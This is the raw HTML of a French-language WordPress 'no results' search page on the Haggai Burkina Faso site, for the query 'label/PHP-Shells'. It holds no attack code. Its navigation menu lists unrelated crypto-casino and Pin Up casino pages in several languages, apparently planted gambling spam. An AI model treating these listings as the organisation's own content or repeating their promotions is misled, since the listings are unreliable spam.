.section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
